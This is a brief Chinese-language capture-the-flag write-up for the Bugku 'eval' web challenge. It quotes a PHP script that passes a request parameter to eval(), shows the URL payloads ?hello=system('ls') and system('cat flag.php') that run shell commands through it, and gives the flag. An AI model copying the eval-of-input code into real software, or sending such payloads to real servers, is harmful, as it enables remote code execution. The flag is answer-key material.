Bugku-web(eval)

WriteUp

题目信息

解题思路

观察代码,

<?php include "flag.php"; # 引入 flag.php 文件执行里面的代码 $a = @$_REQUEST['hello']; # @ 是错误抑制符,$_REQUEST['hello'] 提取 hello 这个 POST / GET / COOKIE 里传递过来的这个参数值(POST 里有就取,没有则会自动使用后面几种方式取值) eval( "var_dump($a);"); # eval() 会把后面字符串里的内容当做 PHP 代码运行 show_source(__FILE__); # __FILE__ PHP 内置固定的魔术常量,表示当前文件的完整路径,show_source() 高亮显示指定文件的源码 ?>

发现需要通过 hello 参数传入内容,让 var_dump() 打印查看就行了

在url中传递?hello=system(‘ls’)

看到有flag.php文件

然后在url中传递?hello=system('cat flag.php')

页面中没有发现flag,可能被注释了

按F12查看页面源代码

发现flag

Flag

flag{fc0ac439a26f151bbe894406ff39d821}